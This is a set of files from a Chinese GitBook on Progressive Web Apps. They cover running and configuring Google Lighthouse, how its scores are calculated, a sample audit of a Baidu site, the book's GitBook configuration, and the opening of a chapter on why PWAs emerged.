应用清单](chapter06/1-manifest-json.md)\n  * [6.2 凭证管理 API](chapter06/2-credentials-api.md)\n  * [6.3 桌面通知](chapter06/3-notification-api.md)\n  * [6.4 网络推送](chapter06/4-web-push-api.md)\n  * [6.5 Payment Request API](chapter06/5-payment-request-api.md)\n* [第7章 安全](chapter07.md)\n  * [7.1 使用 HTTPS 保护站点安全](chapter07/1-https.md)\n  * [7.2 内容安全策略](chapter07/2-CSP.md)\n  * [7.3 同源策略](chapter07/3-policy.md)\n  * [7.4 典型的安全漏洞](chapter07/4-vulnerability.md)\n* [第8章 性能](chapter08.md)\n  * [8.1 加载性能 ](chapter08/1-loading-performance.md)\n  * [8.2 渲染性能 ](chapter08/2-rendering-performance.md)\n* [第9章 PWA 与搜索](chapter09.md)\n  * [9.1 搜索引擎收录](chapter09/1-search-engine-index.md)\n  * [9.2 PWA 与 AMP/MIP](chapter09/2-pwa-and-amp-and-mip.md)\n  * [9.3 全站 AMP/MIP](chapter09/3-whole-site-amp-and-mip.md)\n  * [9.4 AMP/MIP 预加载 PWA](chapter09/4-preload-pwa.md)\n* [附录1 使用 Lighthouse 测评 PWA](appendix01.md)\n  * [1 使用 Lighthouse 测评 PWA](appendix01/1-lighthouse.md)\n  * [2 Lighthouse 评分指南](appendix01/2-lighthouse-score-guide.md)\n  * [3 Lighthouse 使用案例](appendix01/3-lighthouse-case.md)\n* [感谢](thanks.md)\n\n"
  },
  {
    "path": "appendix01/1-lighthouse.md",
    "content": "## 使用 Lighthouse 测评 PWA\n\nLighthouse 是 Google Chrome 推出的一个开源自动化工具，能够对 PWA 多方面的效果指标进行评测，并给出最佳实践的建议以帮助开发者改进 PWA 的质量。它的使用方法也非常简单，我们只需要提供一个要测评的网址，它将针对此页面运行一系列的测试，然后生成一个有关页面性能的报告。通过报告我们就可以知道需要采取哪些措施来改进应用的性能和体验。\n\n### 使用入门\n\n针对不同的适用场景，我们可以通过多种方式来安装并使用 Lighthouse：\n\n- Chrome 浏览器插件。Chrome 插件的形式提供了更加友好的用户界面，方便读取报告。\n- Chrome DevTools。该工具集成在最新版本的 Chrome 浏览器中，无需安装即可使用。\n- Lighthouse CLI 命令行工具。方便将 Lighthouse 集成到持续集成系统中。\n- 编程的方式。我们也能通过 Node.js 模块引入 Lighthouse 工具包，以编程的形式来使用它。\n\n下面我们依次介绍上述这几种使用方法。\n\n### Chrome 插件\n\n下载 Google Chrome 52 或更高版本，并安装 [Ligthouse Chrome 插件](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk)。打开需要进行测评的页面，并点击 Chrome 工具栏上的 Lighthouse 图标如下图：\n\n![icon](./img/icon.png)\n\n如果在工具栏上没有看到此图标，它可能隐藏在 Chrome 的主菜单中。点击此图标后，我们会看到一个展开菜单，如下图\n\n![menu](./img/chrome_extensions.png)\n\n在 `Options` 选项里，可以选择需要的测评项，包括性能、无障碍访问性、最佳实践、SEO、PWA，默认情况下，选择全部即可。\n\n![menu](./img/ext_panel.png)\n\n点击 Generate report 按钮以针对当前打开的页面运行 Lighthouse 测试。\n\n在完成测评后，Lighthouse 将打开一个新标签，并在页面的结果上显示一个报告。\n\n![report](./img/report_result.png)\n\n在这里，我们就能看到关于 PWA, Performance, Accessibility, Best Practices 四个方面存在的问题以及相关建议。根据这些去优化你的站点吧！\n\n### Chrome DevTools\n\n在最新版本的 Chrome 浏览器中，Lighthouse 已经直接集成到了调试工具 DevTools 中了，因此不需要进行任何安装或下载。我们先打开需要进行测试的页面，打开 Chrome DevTools，选择 `Audits` 面板，就能看到 Lighthouse 工具的一些配置选项，选择需要的配置后，点击 `Run audits`，工具就会对当前页面进行性能的测评。\n\n![menu](./img/dev_tool.png)\n\n### 命令行工具（Lighthouse CLI）\n\n上述两种工具提供了较为基础、快捷的使用方式，针对进阶的高级开发者，Lighthouse 的命令行工具更为合适。它提供了多种详细的使用参数，通过参数的配置，能够更灵活地进行测评并输出报告结果。此外，在一些自动化的持续集成场景中，命令行工具显得十分有用。\n\n#### 安装\n\n安装 [Node](https://nodejs.org/zh-cn/download/)，需要 Node 8 LTS(8.9) 及以上版本。\n\n以全局方式安装：\n\n```shell\nnpm install -g lighthouse\n# or use yarn:\n# yarn global add lighthouse\n```\n\n#### 运行 CLI\n\n针对一个页面运行 `lighthouse` 命令，进行测评：\n\n```shell\nlighthouse https://www.example.com/\n```\n> 注意：\n> CLI 相较于插件和 DevTools 存在一些尚未修复的问题，比如对 Ubuntu 系统支持不好，会抛 NO_FCP 的错误。对于某些网站支持不好，这些网站可能存在以下特征导致 NO_FCP 错误的发生：\n> 1. 初始渲染的时候页面不包含文本，而只包含一个 spinner\n> 2. 你的站点的启动和渲染主要内容在 5-10s 的延迟之后发生\n\n> [点击](https://github.com/GoogleChrome/lighthouse/issues/6154)查看最新解决方案\n\n默认情况下，运行报告将以 html 的格式输出在当前目录的 `./<HOST>_<DATE>.report.html` 文件中，如上述命令结果将存储在 www.example.com_2019-04-02_16-51-15.report.html。我们也可以指定输出的格式与路径，如：\n\n```shell\nlighthouse https://example.com/ --output html --output-path ./report.html\n```\n\n如果需要将结果在标准输出流中以 json 格式输出：\n\n```shell\nlighthouse https://example.com/ --output json\n```\n\n将结果以 json 文件的形式输出到本地目录：\n\n```shell\nlighthouse https://example.com/ --output json --output-path ./myfile.json\n```\n\n输入 `--help` 选项可以查看可用的输入、输出选项\n\n```shell\nlighthouse --help\n```\n\n#### 生命周期\n\nLighthouse 运行测评的过程有一套完整的生命周期，可以划分成三个主要流程：首先是 Collecting 流程，这一步会调用内置的 Driver，其作用是通过 Chrome DevTools Protocol 调起浏览器，并创建新的 tab 请求待测评的站点，通过浏览器采集站点数据并将结果（称之为 Artifacts）保存在本地临时目录。然后进入 Auditing 流程，读取 Artifacts 数据，根据内置的评判策略逐条进行检查并计算出各项的数字形式得分。最后进行 Report 流程，将评分结果按照 PWA、性能、无障碍访问、最佳实践等纬度进行划分，以 JSON、HTML 等格式输出。如下图：\n\n![lifecircle](./img/life_circle.jpg)\n\n命令行工具基于此提供了生命周期的选项，我们可以让 CLI 只运行整个测评过程的一个或多个特定生命周期。比如，使用 --gather-mode（-G）只进行资源采集的生命周期，命令行工具将会启动浏览器，采集被测试站点的相关数据，并将结果以 json 的形式存储到本地，默认是 `./latest-run/` 目录，然后退出进程：\n\n```shell\nlighthouse https://example.com/ -G\n```\n\n如果想要跳过浏览器的交互，直接从本地读取页面的临时数据，运行测评和产出结果报告，则可以使用 --audit-mode（-A），默认将从 `./latest-run/` 目录读取：\n\n```shell\nlighthouse https://example.com/ -A\n```\n\n两个选项同时使用，就会运行整个测评的生命周期，与直接运行 lighthouse 命令相比，会在当前目录保存一份测试站点的数据。\n\n```shell\nlighthouse https://example.com -GA\n```\n\n如果不想使用默认的 `./latest-run/` 目录，我们也能自定义站点的 json 数据的保存目录，如：\n\n```\nlighthouse -GA=./mycustomfolder https://example.com\n```\n\n### 编程的方式使用 Lighthouse\n\n除了上述几种方式之外，Lighthouse 也提供了 NPM 包，我们能够以 Node.js 模块的形式引入到项目代码中，结合另一个 NPM 模块 `chrome-launcher` 用于调起浏览器，就可以随心所欲地以编程的方式使用了。\n\n首先要在项目中安装依赖模块：\n```shell\nnpm install lighthouse chrome-launcher\n# yarn add lighthouse chrome-launcher\n```\n\n在使用 lighthouse 接口之前，需要先用启动一个 chrome，所以我们可以封装一个名为 launchChromeAndRunLighthouse 的方法，来完成这两步。chromeLauncher 工具包提供了 launch 方法，接收一个启动所需的参数 opts，这个参数用于配置 chrome 的启动环境、启动方式等，在返回的 promise 对象中，我们能获取到 chrome 实例。再将待测试 url 及 opts 提供给 lighthouse，测试完成后需要关掉 chrome 实例，然后就能拿到我们需要的测试报告 results 了。\n\n```javascript\nconst lighthouse = require('lighthouse')\nconst chromeLauncher = require('chrome-launcher')\n\nfunction launchChromeAndRunLighthouse(url, opts, config = null) {\n  return chromeLauncher.launch({chromeFlags: opts.chromeFlags}).then(chrome => {\n    opts.port = chrome.port\n    return lighthouse(url, opts, config).then(results => {\n      return chrome.kill().then(() => results)\n    })\n  })\n}\n\nconst opts = {\n  chromeFlags: ['--show-paint-rects']\n}\n\nlaunchChromeAndRunLighthouse('https://example.com', opts).then(results => {\n  // Use results!\n})\n```\n值得一提的是这里的 result 包含了多种类型的数据格式，如 `results.lhr` 是 javascript 对象（Lighthouse Result Object），而 `results.report` 则是用于 HTML/JSON/CSV 输出结果的字符串，可以按需选择。\n\n#### 性能报告\n\n对于一些只关注应用性能的使用场景，可以用 onlyCategories 配置项来设定只运行性能这个维度的测试：\n\n```javascript\n// ...\nconst flags = {onlyCategories: ['performance']}\nlaunchChromeAndRunLighthouse(url, flags).then(results => {\n  // Use performance results!\n})\n```\n\n除此之外，我们可以自定义自己需要的测评维度，Lighthouse 的 [Github 仓库](https://github.com/GoogleChrome/lighthouse/tree/master/docs/recipes/custom-audit)提供了一些自定义的示例和方法。\n\n注意，用编程的方式使用 lighthouse 时，在上述代码的 flags 参数的使用上，与 CLI 的方式有所区别。考虑到以 node 模块引入的情况下，开发者自己来控制这些选项更为简单和灵活，部分 flag 选项值只在 CLI 的模式下生效。node 模块和 CLI 中都能使用的选项值，可以参考 [官方的定义](https://github.com/GoogleChrome/lighthouse/blob/888bd6dc9d927a734a8e20ea8a0248baa5b425ed/typings/externs.d.ts#L82-L119)。\n\n#### 开启测试日志\n\n如果运行期间需要查看测试的日志，可以引入 lighthouse-logger 模块，它支持打印不同级别的日志。用法如下：\n\n```javascript\nconst log = require('lighthouse-logger')\nconst flags = {logLevel: 'info'}\n\nlog.setLevel(flags.logLevel)\n\nlaunchChromeAndRunLighthouse('https://example.com', flags).then(...)\n```\n\n### 自定义配置\n\n你可能已经注意到 lighthouse 在调用的时候还有第三个参数：`lighthouse(url, opts, config)`，这个 config 参数能够帮助我们用更细粒度的控制整个测评。这种细粒度的配置在 CLI 中也是支持的，只是使用方式略有区别：\n\n我们可以指定一个配置文件 custom-config.js 如下，它在继承默认的配置的基础上进行了一定的自定义：\n\n```javascript\nmodule.exports = {\n  extends: 'lighthouse:default',\n  settings: {\n    onlyAudits: [\n      'first-meaningful-paint',\n      'speed-index-metric',\n      'estimated-input-latency',\n      'first-interactive',\n      'consistently-interactive',\n    ],\n  },\n}\n```\n\n如果使用 CLI，需要用 --config-path 指向该配置文件：\n```bash\nlighthouse --config-path=path/to/custom-config.js https://example.com\n```\n\n对于 Node 模块的形式，也基本相似，将配置对象当做 lighthouse 方法的第三个参数传入即可：\n\n```javascript\nconst lighthouse = require('lighthouse')\nconst config = require('./path/to/custom-config.js')\nlighthouse('https://example.com/', {port: 9222}, config)\n```\n\n如果评测过程中有这种比较高阶的配置需求，可以详细了解相关的[属性文档](https://github.com/GoogleChrome/lighthouse/blob/master/docs/configuration.md)，这里我们就不作展开了。\n\n除了这些官方提供的工具之外，一些开源项目也将 Lighthouse 进行了集成。例如使用 Webpack 构建的应用，可以使用 `webpack-lighthouse-plugin`，在构建的过程中完成 Lighthouse 测评；`lighthouse-mocha-example` 则能够在 Mocha 的测试用例中增加 Lighthouse 的测评项等等，整个工具生态日渐繁荣，相信对于我们测评 PWA 性能，构建更完美的 PWA 大有裨益。"
  },
  {
    "path": "appendix01/2-lighthouse-score-guide.md",
    "content": "## Lighthouse 评分指南\n\n使用 Lighthouse 对网站进行测评后，我们会得到一份评分报告，它包含了性能（Performance），PWA（Progressive Web App），访问无障碍（Accessibility），最佳实践（Best Practice），搜索引擎优化（SEO）等几个部分。这里我们将介绍一下 Lighthouse 是如何计算这几个评分的。\n\n![score](./img/lavas_report.png)\n\n### 性能评分\n\n性能评分的分值区间是0到100，如果出现0分，通常是在运行 Lighthouse 时发生了错误，如果反复出现了0分的情况，可以在 Lighthouse 的 GitHub 仓库去[反馈 bug](https://github.com/GoogleChrome/lighthouse/issues/new)。满分100分代表了站点已经达到了98分位值的数据，而50分则是75分位值的数据。\n\n#### 影响评分的性能指标\n\n性能测试指标分成了 Metrics，Diagnostic，Opportunities 三部分。通常情况下，只有 Metrics 部分的指标项会对分数产生直接影响，Lighthouse 会衡量以下性能指标项：\n\n- 首次内容绘制（First Contentful Paint）。即浏览器首次将任意内容（如文字、图像、canvas 等）绘制到屏幕上的时间点。\n\n- 首次有效绘制（First Meaningful Paint）。衡量了用户感知页面的主要内容（primary content）可见的时间。对于不同的站点，首要内容是不同的，例如：对于博客文章，标题及首屏文字是首要内容，而对于购物网站来说，图片也会变得很重要。\n\n- 首次 CPU 空闲（First CPU Idle）。即页面首次能够对输入做出反应的时间点，其出现时机往往在首次有效绘制完成之后。该指标目前仍处于实验阶段。\n\n- 可交互时间（Time to Interactive）。指的是所有的页面内容都已经成功加载，且能够快速地对用户的操作做出反应的时间点。该指标目前仍处于实验阶段。\n\n- 速度指标（Speed Index）。衡量了首屏可见内容绘制在屏幕上的速度。在首次加载页面的过程中尽量展现更多的内容，往往能给用户带来更好的体验，所以速度指标的值约小越好。\n\n- 输入延迟估值（Estimated Input Latency）。这个指标衡量了页面对用户输入行为的反应速度，其基准值应低于 50ms。\n\n#### 性能指标评分的计算\n\n每一项性能指标对评分的贡献都有其计算逻辑，Lighthouse 会将原始的性能值映射成为 0-100 之间的数字。评分使用 HTTPArchive 上的真实站点性能数据作为样本，统计出对数正态分布。例如，FMP（First Meaningful Paint）的原始值是从页面初始化开始到主要内容渲染成功的耗时，根据真实站点的数据，顶级性能的站点的 FMP 值约为 1220ms，这个值会被映射成 Lighthouse 的 99 分。\n\n针对不同的评分，Lighthouse 用了不同的颜色进行标注，分值区间和颜色的对应关系如下：\n\n- 0 - 49（慢）：红色\n- 50 - 89（平均值）： 橙色\n- 90 - 100（快）： 绿色\n\n#### 性能评分的分配权重\n\n各个指标对性能评分的贡献并不相同，Lighthouse 提供了[评分详情表](https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0)，形式如下图，来查阅具体权重分配情况。权重较大的指标，对性能评分的影响更大一些，最终的总体性能评分是这些性能指标分数的加权平均值。我们可以用这个分数计算的[表格](https://docs.google.com/spreadsheets/d/1dXH-bXX3gxqqpD1f7rp6ImSOhobsT1gn_GQ2fGZp8UU/edit?ts=59fb61d2#gid=283330180)作为参考，以了解不同的指标是如何影响最终评分的。\n\n![table](./img/table.png)\n\n从表中可以看出，性能的指标项权重分配如下：\n\n- 3X - 首次内容绘制\n- 1X - 首次有效绘制\n- 2X - 首次 CPU 空闲\n- 5X - 可交互时间\n- 4X - 速度指标\n- 0X - 输入延迟估值\n\n这些权重的分配方式仍在探究之中，Lighthouse 的团队也在努力试图收集更多站点的数据样本，来将这套计算方法规范化。\n\n#### 减少性能评分的波动\n\n当我们使用 Lighthouse 对实际站点进行测试时，难以避免会有一些影响评分的变量存在。每次访问，站点可能会加载不同的广告、脚本等，网络状况也可能不同。杀毒软件、浏览器插件以及一些其他对页面加载有干预的程序都可能导致评分的较大波动。所以，我们应尽量避免上述因素的影响，以得到更加一致性的数据。可以考虑使用持续集成系统或者第三方服务（如 [WebPageTest](https://webpagetest.org/easy)）进行测试，往往会有更准确的数据。\n\n#### 提高性能评分\n\n前面提到性能评分分为了三部分，Metrics 部分的指标项会直接影响分数，可以作为我们的主要参考点。另外的两部分中， Opportunities 提供了详细的建议和文档，来解释低分的原因，帮助我们具体进行实现和改进。Diagnostics 部分的列表项则为进一步改善性能的实验和调整，给出了指导。这两者不会纳入分数的计算。\n\n\n### PWA 评分\n\n#### 基准指标项\n\nPWA（Progressive Web App）评分的分值区间也是0-100。Lighthouse 使用 PWA 基准检查项列表（Baseline PWA Checklist）进行测评，测评结果将这些指标项分成了四个类别，共包含12个自动测试项和3个手动测试项，其中各个自动测试项的评分权重是相同的。PWA 的评测指标对我们来说非常重要，我们可以从这四个类别详细了解一下基准指标项。\n\n##### 快速可靠\n\n1. 页面在移动网络条件下能够快速加载。\n2. 在离线条件下页面能够返回状态码200。这里我们可以通过 Service Worker 来实现离线可用。\n3. start_url 在离线条件下返回状态码200。start_url 是前面章节我们提到过的 manifest.json 中的一个属性，它指定了用户打开该 PWA 时加载的 URL。\n\n##### 可安装\n\n1. 始终使用 HTTPS。\n2. 注册 Service Worker 来缓存页面以及 start_url。\n3. 使用 manifest 文件来实现安装 PWA 的需求，浏览器能够主动通知用户将应用添加到桌面，增加留存率。\n\n##### PWA 优化\n\n1. 将 HTTP 流量重定向到 HTTPS。\n2. 配置自定义启动画面。\n3. 设置地址栏主题颜色。\n4. 页面内容针对视口大小自适应，对移动用户的展示更友好。\n5. 使用了 `<meta name=\"viewport\">` 标签，并设置了 width 或 initial-scale 属性。\n6. 当 JavaScript 文件不可用时，提供降级措施，页面能显示基本内容而不出现白屏。\n\n##### 手动测试项\n\n1. 站点跨浏览器可用，如主流浏览器 Chrome, Edge, Firefox 及 Safari 等。\n2. 页面间切换流畅，即使在较差的网络环境下，切换动画也应该简洁顺畅，这是提高用户感知体验的关键。\n3. 保证每个页面都有独一无二的 URL，能够在新的浏览器窗口打开，且方便在社交媒体上进行分享。\n\n#### 示范性指标项\n\n除了上述基准指标项之外，为了让 PWA 的体验更加完美，还有 Lighthouse 未实现检查的进阶指标，也就是可以作为示范性参考的 PWA 的指标，这些指标大多需要人工进行确认，它们也分成了几个类别，我们可以针对性地改进 PWA。\n\n##### 可索引 & 社交支持\n\n1. 站点的内容可以被 Baidu，Google 等搜索引擎收录索引。\n2. 提供必要的 `Schema.org` 标记数据，搜索引擎都会依据这些标记来优化搜索结果，让人们更容易找到正确的网页。\n3. 提供必要的社交标记数据，如 Twitter 的 `<meta name=\"twitter:card\" content=\"summary\" />` 标签，能够便于被这些社交站点的爬虫抓取。\n4. 提供 Canonical URL，一般适用于页面内容能使用多个 URL 访问的场景。\n5. 页面使用 History API，对于单页应用，确保 URL 不要使用片段标识符，如 `https://example.com/#!user/26601` 中 #！后面的部分。\n\n##### 用户体验\n\n1. 当页面加载时，确保页面内容不跳动或闪烁。\n2. 从详情页返回列表页时，记录之前的滚动位置。\n3. 输入文字时，键盘不会挡住输入框。\n4. 在 Standalone 模式下（从主屏幕启动的情况），页面内容可分享。\n5. 在不同的移动设备及桌面电脑上，站点能够自适应。\n6. 不要过度使用安装 APP 的推送。\n7. 在适当的时候显示添加到桌面的推送，避免打断用户正常使用流程。\n\n##### 性能\n\n1. 首次加载速度尽可能快，即使是在慢速 3G 移动网络下，可交互时间也应该在 5s 以内（在基准指标中，这个时间是 10s）。\n\n##### 缓存\n\n1. 站点使用 cache-first (缓存优先)的缓存策略。尽可能地使用这种策略，确保在慢网络环境和离线环境的加载速度始终相当。\n2. 用户处于离线状态时，应当适当地给出通知。可以使用 Network Information API 来实现。\n\n##### 推送通知\n\n1. 告知用户通知功能的使用背景和原因，保证得到许可。\n2. 建议用户开启推送通知的 UI 应当尽量友好，不能太强势。\n3. 站点显示权限请求时，屏幕的其他主体内容应当适度变暗，让用户更清楚地看到站点需要开启通知权限的理由。\n4. 推送通知的内容应当及时、准确，且具有较强的关联性。\n5. 给用户提供开启、关闭通知的操作权限。\n\n##### 附加功能点\n\n1. 使用 Credential Management API，帮助用户实现跨设备登录。\n2. 使用 Payment Request API，帮助用户方便地调起更友好的原生界面（native UI）进行支付操作。\n\n### 访问无障碍评分\n\n访问无障碍评分的分值由相关指标的加权平均值计算而来。可以在[评分详情](https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0)查阅每项指标的具体权重。同理，较大权重的指标项对分数的影响较大。无障碍性的每个指标项测试结果为`pass`或者`fail`，与性能指标项的计算方式不同，当页面只是部分通过某项指标时，页面的这项指标将不会得分。例如，如果页面中的一些元素有`屏幕阅读器友好`的命名，而其他的元素没有，那么这个页面的  screenreader-friendly-names 指标项得分为0。\n\n### 最佳实践评分\n\n最佳实践评分的分数区间为0-100。影响这项评分的指标项的权重都是相同的。如果我们想计算某个指标项对总体评分的贡献，用指标项的数量除以100即可。指标项和权重同样可以参考上文提供的评分详情表，我们可以结合测评结果一一进行优化。\n\n\n"
  },
  {
    "path": "appendix01/3-lighthouse-case.md",
    "content": "## Lighthouse 使用案例\n\n前面两节我们对 Lighthouse 的使用方法和性能评分计算的原理有了一定的了解，下面我们使用 Lighthouse 对一个实际站点 [https://lavas.baidu.com/](https://lavas.baidu.com/) 进行测试，看看 Lighthouse 能对站点提供哪些方面的改进指导。\n\n### 对站点进行测试\n\n为了更直观地展示测试结果，我们使用 Chrome Devtools 中集成的 Lighthouse 工具进行测试。\n\n1. 在 Chrome 中打开 https://lavas.baidu.com/\n2. 打开 Chrome Devtools，并选择 `Audits` 面板\n3. Lighthouse 提供了不同的模拟网络环境选项，我们可以根据需求进行选择，点击 `Run Audits` 开始测试。\n\n### 测试结果\n\n稍等片刻，Chrome 会新建一个新的会话窗口，将包含各项评分指标的 Lighthouse 测试报告展示出来，我们可以依次来看：\n\n#### 总体评分\n\n报告的最上方是总体评分，如下图，可以看到站点在性能、PWA、最佳实践及 SEO 方面的表现还是不错的，在无障碍访问指标项上，评分稍低，需要重点进行改进。\n\n![overall](./img/lavas_overall.png)\n\n具体到每一个方面，都能查看指标项的细节：\n\n#### Performance 性能评分\n\n在选择网络环境为 `No throttling` 的条件下，FCP，FMP，首次交互时间等指标都能得到详细的统计，`View Trace` 还能看到页面每一帧的渲染过程。\n\n![performance](./img/performance.png)\n\nMetrics 部分的指标与性能评分关联紧密，可以看到各个指标项都显示绿色，意味着它们都得到了 90-100 的分值。Opportunities 和 Diagnostics 部分的指标项虽然不纳入评分的计算，但也给我们改进提供了参考。可以看到站点存在字体文件加载优化、静态资源缓存等问题。\n\n![Diagnostics](./img/diagno.png)\n\n#### PWA 评分\n\n在基准指标检查中，有一项未通过：Lighthouse 建议站点需要对 JavaScript 脚本不能正确加载的情况作降级处理。我们需要改进的是，页面的核心渲染脚本加载失败时，仍能够展示基本的静态内容，而不是空白页面，这一点在客户端渲染的 SPA 应用中尤其需要引起重视。除此之外，我们可以看到站点的其他 PWA 自动检查项都已经通过，然后手动检查一下跨浏览器兼容性、页面切换流畅度、页面 URL 等检查项即可。\n\n![PWA](./img/pwa.png)\n\n#### 无障碍访问评分\n\n![accessibility](./img/access.png)\n\n此项评分偏低，仅得到62分，说明站点在这部分存在的问题较多。展开可以看到问题的详情，如 DOM 元素使用不规范、结构不合理，页面颜色对比度不够，Meta 信息使用不正确等等，如果需要提高站点的无障碍可访问性，我们可以从这些方面对症下药进行完善。\n\n#### Best Practices 最佳实践评分\n\n站点在这部分的表现中规中矩，通过了15个检查项中的12个，暴露了3个问题，资源推荐使用 http2，跨域的跳转链接需要使用 rel 标识，不能使用废弃的 API。不通过检查测试，开发中我们很难注意到这些细节问题。\n\n![practices](./img/best_practice.png)\n\n#### SEO 搜索引擎优化评分\n\n![seo](./img/seo.png)\n\n结果显示站点的 robots.txt 文件缺失，需要改进。\n\n### 小结\n\n通过上述简单演示，我们对站点的各项指标就能有较为直观的了解，评分高的指标项值得积累开发经验，评分低的指标，对照着测试报告给出的建议，我们可以逐一完善。\n\nLighthouse 是一个开源的项目，主要由 Google Chrome 团队开发维护，它包含了强大的功能和较为繁荣的周边生态，本章只是就其使用方式、打分机制、测评指标等作了简要的介绍，在实际的 PWA 工程中，我们可能会运用到更详细的配置选项和测试参数，或者需要深入了解其运行原理，这些都可以通过 Github 上的项目文档进一步学习和实践。工欲善其事，必先利其器，有了 Lighthouse 这把利器的帮助，我们打造体验更好的 PWA 站点将不再是难事！\n\n"
  },
  {
    "path": "appendix01.md",
    "content": "# 使用 Lighthouse 测评 PWA\n\n完成了 PWA 站点的开发之后，我们需要对站点进行评估和测试，了解其性能是否达标、是否符合 PWA 规范等。本章中，我们将介绍一款 Web App 的测评工具 —— Lighthouse 的使用，通过它的帮助，我们能够进一步了解 PWA 的缺陷和不足，有针对性地对站点进行完善和改进。"
  },
  {
    "path": "book.json",
    "content": "{\n  \"title\": \"PWA 应用实战\",\n  \"description\": \"PWA 开发实战\",\n  \"author\": \"lavas <lavas@baidu.com>\",\n  \"language\": \"zh-hans\",\n  \"gitbook\": \"3.2.3\",\n  \"root\": \".\",\n  \"structure\": {\n    \"readme\": \"README.md\"\n  },\n  \"plugins\": [\n    \"-lunr\",\n    \"-search\",\n    \"anchors\",\n    \"search-plus\",\n    \"-livereload\",\n    \"simple-page-toc\",\n    \"prism\",\n    \"prism-themes\",\n    \"-highlight\",\n    \"advanced-emoji\",\n    \"include-codeblock\",\n    \"-sharing\",\n    \"sharing-plus\",\n    \"ace\",\n    \"emphasize\",\n    \"splitter\",\n    \"page-footer-ex\",\n    \"expandable-chapters-small\",\n    \"sectionx\",\n    \"local-video\",\n    \"anchor-navigation-ex\",\n    \"favicon\",\n    \"todo\",\n    \"edit-link\",\n    \"3-ba\",\n    \"chart\",\n    \"disqus\",\n    \"github\"\n  ],\n  \"pluginsConfig\": {\n    \"edit-link\": {\n      \"base\": \"https://github.com/lavas-project/pwa-book/edit/master\",\n      \"label\": \"编辑此页\"\n    },\n    \"theme-default\": {\n      \"showLevel\": false\n    },\n    \"prism\": {\n      \"css\": [\n        \"prismjs/themes/prism-okaidia.css\"\n      ]\n    },\n    \"include-codeblock\": {\n      \"template\": \"ace\",\n      \"unindent\": true,\n      \"edit\": true\n    },\n    \"sharing\": {\n      \"douban\": true,\n      \"facebook\": false,\n      \"google\": false,\n      \"hatenaBookmark\": false,\n      \"instapaper\": false,\n      \"line\": false,\n      \"linkedin\": true,\n      \"messenger\": false,\n      \"pocket\": false,\n      \"qq\": false,\n      \"qzone\": false,\n      \"stumbleupon\": false,\n      \"twitter\": false,\n      \"viber\": false,\n      \"vk\": false,\n      \"weibo\": true,\n      \"whatsapp\": false,\n      \"all\": [\n        \"facebook\",\n        \"google\",\n        \"twitter\",\n        \"weibo\",\n        \"instapaper\",\n        \"linkedin\",\n        \"pocket\",\n        \"stumbleupon\",\n        \"qq\",\n        \"qzone\"\n      ]\n    },\n    \"page-footer-ex\": {\n      \"copyright\": \"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\n      \"markdown\": true,\n      \"update_label\": \"该文件修订时间：\",\n      \"update_format\": \"YYYY-MM-DD HH:mm:ss\"\n    },\n    \"anchor-navigation-ex\": {\n      \"showLevel\": false,\n      \"isRewritePageTitle\": false,\n      \"tocLevel1Icon\": \"fa fa-hand-o-right\",\n      \"tocLevel2Icon\": \"fa fa-hand-o-right\",\n      \"tocLevel3Icon\": \"fa fa-hand-o-right\"\n    },\n    \"sectionx\": {\n      \"tag\": \"b\"\n    },\n    \"favicon\": {\n      \"shortcut\": \"favicon.ico\",\n      \"bookmark\": \"favicon.ico\"\n    },\n    \"disqus\": {\n      \"shortName\": \"lavas-project-github-io\"\n    },\n    \"terminal\": {\n      \"copyButtons\": true,\n      \"fade\": false,\n      \"style\": \"flat\"\n    },\n    \"3-ba\": {\n      \"token\": \"c45e843439f6364ead89fd505f1abb68\"\n    },\n    \"github\": {\n      \"url\": \"https://github.com/lavas-project/pwa-book\"\n    }\n  }\n}\n"
  },
  {
    "path": "chapter01/1-how-was-pwa-born.md",
    "content": "# 为什么会出现 PWA\n\nPWA 是 Progressive Web Apps 的缩写，翻译为渐进式网络应用。早在 2014 年， W3C 就公布过 Service Worker 的相关草案，但是其在生产环境被 Chrome 支持是在 2015 年。因此，如果我们把 PWA 的关键技术之一 Service Worker 的出现作为 PWA 的诞生时间，那就应该是 2015 年。在关注 PWA 是什么之前，先来了解一下为什么会出现 PWA，它是在什么样的背景下被提出来的。\n\n回顾一下历史，在 2015 年之前的那段时间，作为前端开发人员，我们主要精力花在哪里，对于我来说，移动站点的性能优化是投入精力很大的一部分，例如提升首屏速度，动画的流畅度，经过一段时间的优化，性能确实有不小的提升，但是无论怎么优化，还是比 Native App 要差很多，始终无法突破移动设备上 WebView 给 Web 的枷锁，这就是我们想说的第一个问题，**Web 的用户体验**。\n\n除开用户体验问题之外，还有一个非常重要的问题，那就是**用户留存**。Native App 安装完毕后会在用户手机桌面上有一个入口，让用户打开 App 只需一次点击，而 Web App 在移动时代最主要的入口还是搜索引擎，用户从浏览器到站点需要经过搜索引擎，如果想访问上次同样的内容甚至还需要记住上次的搜索词，用户也可以记住 URL 并进行输入，但这些对于移动用户来说，无疑成本巨大，这就导致 Web 站点和用户之间的粘性非常脆弱。Native App 还能够通过发送通知让用户再次回到应用中来，而 Web 没有这个能力。\n\n最后要说的一个问题是 0 和 1 的问题，**Device API 的不完善**。Android 和 iOS 提供了非常丰富的设备 API，Native App 只需获取用户授权就可以使用，而在 Web App 中，\bWebView 没有提供这样的 API，完全没法使用，如果我们开发一个需要使用 NFC 的 App，你一定不会考虑 Web，因为近场通信 API 在 Web 中还没有。虽然在近年来，W3C 已经提出了很多新的标准，但是浏览器对于 Device API 的支持仍然很不完善。\n\nGoogle 在一篇名为《[Why Build Progressive Web Apps](https://developers.google.com/web/ilt/pwa/why-build-pwa)》的文章中披露过这样的一组数据，Web 站点每个月的 UV 是 Native App 的 3 倍，然而用户在 Native App 花费的时间却是 Web 的 20 倍，如下图所示，这之间巨大的反差，和上面所说的\b三个原因息息相关。\n\n![Web 站点与 Native App 的 UV 